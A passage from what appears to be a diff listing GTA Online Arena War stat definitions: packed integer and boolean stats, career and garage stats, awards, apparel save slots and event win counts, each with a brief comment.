Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT187 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT188 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT189 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT190 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT191 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT192 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT193 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT194 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT195 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT196 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT197 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT198 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT199 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT200 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT201 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT202 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT203 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT204 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT205 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT206 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT207 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT208 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT209 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT210 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT211 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT212 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT213 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT214 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT215 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT216 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT217 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT218 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT219 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT220 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT221 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT222 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT223 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT224 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT225 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT226 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT227 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT228 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT229 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT230 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT231 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT232 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT233 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT234 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT235 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT236 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT237 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT238 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT239 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT240 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT241 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT242 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT243 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT244 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT245 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT246 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT247 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT248 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT249 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT250 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT251 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT252 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT253 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT254 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT255 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT256 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT257 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT258 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT259 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT260 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT261 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT262 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT263 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT264 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT265 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT266 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT267 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT268 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT269 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT270 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT271 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT272 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT273 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT274 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT275 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT276 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT277 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT278 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT279 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT280 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT281 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT282 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT283 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT284 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT285 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT286 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT287 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT288 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT289 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT290 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT291 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT292 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT293 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT294 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT295 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT296 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT297 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT298 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT299 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT300 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT301 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT302 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT303 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT304 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT305 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT306 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT307 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT308 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT309 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT310 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT311 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT312 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT313 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT314 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT315 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT316 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT317 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT318 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT319 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT320 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT321 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT322 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT323 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT324 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT325 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT326 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT327 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT328 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT329 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT330 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT331 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT332 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT333 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT334 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT335 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT336 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT337 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT338 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT339 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT340 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT341 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT342 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT343 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT344 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT345 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + +(int)ARENAWARS_SP // Add MP0_ or MP1_ // Arena wars - Skill points +(int)ARENAWARS_SKILL_LEVEL // Add MP0_ or MP1_ // Arena wars - Player skill level +(int)ARENAWARS_SP_LIFETIME // Add MP0_ or MP1_ // Arena wars - Skill points earned lifetime +(int)ARENAWARS_AP // Add MP0_ or MP1_ // Arena wars - Arena points earned +(int)ARENAWARS_AP_TIER // Add MP0_ or MP1_ // Arena wars - Arena points tier +(int)ARENAWARS_AP_LIFETIME // Add MP0_ or MP1_ // Arena wars - Arena points earned lifetime +(int)ARENAWARS_CARRER_UNLK // Add MP0_ or MP1_ // Arena wars - Last 5 unlocks Tracker BS + +(int)ARENAGARAGE_OWNED // Add MP0_ or MP1_ // Arena wars - arena garage owned +(int)ARENAGARAGE_MOD_INTERIORA // Add MP0_ or MP1_ // Arena wars - arena garage customisation +(int)ARENAGARAGE_MOD_INTERIORB // Add MP0_ or MP1_ // Arena wars - arena garage customisation +(int)ARENAGARAGE_MOD_INTERIORC // Add MP0_ or MP1_ // Arena wars - arena garage customisation +(int)ARENAGARAGE_MOD_FLOOR_B1 // Add MP0_ or MP1_ // Arena wars - arena garage customisation +(int)ARENAGARAGE_MOD_FLOOR_B2 // Add MP0_ or MP1_ // Arena wars - arena garage customisation +(int)ARENAGARAGE_MOD_BENNYMECH // Add MP0_ or MP1_ // Arena wars - arena garage customisation +(int)ARENAGARAGE_MOD_WEAPONMECH // Add MP0_ or MP1_ // Arena wars - arena garage customisation +(int)ARENAGARAGE_MOD_PERSQUART // Add MP0_ or MP1_ // Arena wars - arena garage customisation + +(int)ARENAWARS_CARRER_WINS // Add MP0_ or MP1_ // Arena wars - Career wins +(int)ARENAWARS_CARRER_WINT // Add MP0_ or MP1_ // Arena wars - Career wins - Team +(int)MPPLY_LAST_ARENAPREM_WON // time of when the player last won a professional race. + +(int)ARENAWARS_FREE_SPINS // Add MP0_ or MP1_ // Arena wars - Wheel spin mini-game free spins +(int)ARENAWARS_MATCHES_PLYD // Add MP0_ or MP1_ // Arena wars - Number of solo matches played +(int)ARENAWARS_MATCHES_PLYDT // Add MP0_ or MP1_ // Arena wars - Number of team matches played +(int)BACK_MARK // Add MP0_ or MP1_ // BACK_MARK + +(int)NUMBER_OF_CHAMP_BOUGHT // Add MP0_ or MP1_ // Champagne bought for inventory. + +(packed)ARENAWARSPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL3 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL4 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL5 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL6 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL7 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)ARENAWARSPSTAT_BOOL8 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(bool)AWD_BEGINNER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_FIELD_FILLER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_ARMCHAIR_RACER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_LEARNER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_SUNDAY_DRIVER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_THE_ROOKIE // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_BUMP_AND_RUN // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_GEAR_HEAD // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_DOOR_SLAMMER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_HOT_LAP // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_ARENA_AMATEUR // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_PAINT_TRADER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_SHUNTER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_JOCK // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_WARRIOR // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_T_BONE // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_MAYHEM // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_WRECKER // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_CRASH_COURSE // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_ARENA_LEGEND // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_PEGASUS // Add MP0_ or MP1_ // Award for Arena +(int)AWD_WATCH_YOUR_STEP // Add MP0_ or MP1_ // Award for Arena +(int)AWD_TOWER_OFFENSE // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_CONTACT_SPORT // Add MP0_ or MP1_ // Award for Arena +(bool)AWD_UNSTOPPABLE // Add MP0_ or MP1_ // Award for Arena +(int)AWD_READY_FOR_WAR // Add MP0_ or MP1_ // Award for Arena +(int)AWD_THROUGH_A_LENS // Add MP0_ or MP1_ // Award for Arena +(int)AWD_SPINNER // Add MP0_ or MP1_ // Award for Arena +(int)AWD_YOUMEANBOOBYTRAPS // Add MP0_ or MP1_ // Award for Arena +(int)AWD_MASTER_BANDITO // Add MP0_ or MP1_ // Award for Arena +(int)AWD_SITTING_DUCK // Add MP0_ or MP1_ // Award for Arena +(int)AWD_CROWDPARTICIPATION // Add MP0_ or MP1_ // Award for Arena +(int)AWD_KILL_OR_BE_KILLED // Add MP0_ or MP1_ // Award for Arena +(int)AWD_MASSIVE_SHUNT // Add MP0_ or MP1_ // Award for Arena +(int)AWD_YOURE_OUTTA_HERE // Add MP0_ or MP1_ // Award for Arena +(int)AWD_WEVE_GOT_ONE // Add MP0_ or MP1_ // Award for Arena +(int)AWD_ARENA_WAGEWORKER // Add MP0_ or MP1_ // Award for Arena +(int)AWD_TIME_SERVED // Add MP0_ or MP1_ // Award for Arena +(int)AWD_TOP_SCORE // Add MP0_ or MP1_ // Award for Arena +(int)AWD_CAREER_WINNER // Add MP0_ or MP1_ // Award for Arena + +(bool)MPPLY_AW_JOINSPEC // Shop ped apparel save data +(int)ARENA_NOTIFICATIONS // Add MP0_ or MP1_ // Arena notifications count +(int)SHOPFM_PERS_GUN_ARENA // Add MP0_ or MP1_ // Shop stat for Arena Garage Armory + + +(int)DLC_APPAREL_ACQUIRED_161 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_162 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_163 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_164 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_165 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_166 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_167 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_168 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_169 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_170 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_171 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_172 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_173 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_174 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_175 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_161 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_162 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_163 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_164 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_165 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_166 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_167 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_168 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_169 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_170 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_171 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_172 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_173 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_174 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_175 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)ARN_W_PASS_THE_BOMB // Add MP0_ or MP1_ // Win count on event type: (arena) PASS_THE_BOMB +(int)ARN_W_DETONATION // Add MP0_ or MP1_ // Win count on event type: (arena) DETONATION +(int)ARN_W_ARCADE_RACE // Add MP0_ or MP1_ // Win count on event type: (arena) ARCADE_RACE +(int)ARN_W_CTF // Add MP0_ or MP1_ // Win count on event type: (arena) CTF +(int)ARN_W_TAG_TEAM // Add MP0_ or MP1_ // Win count on event type: (arena) TAG_TEAM 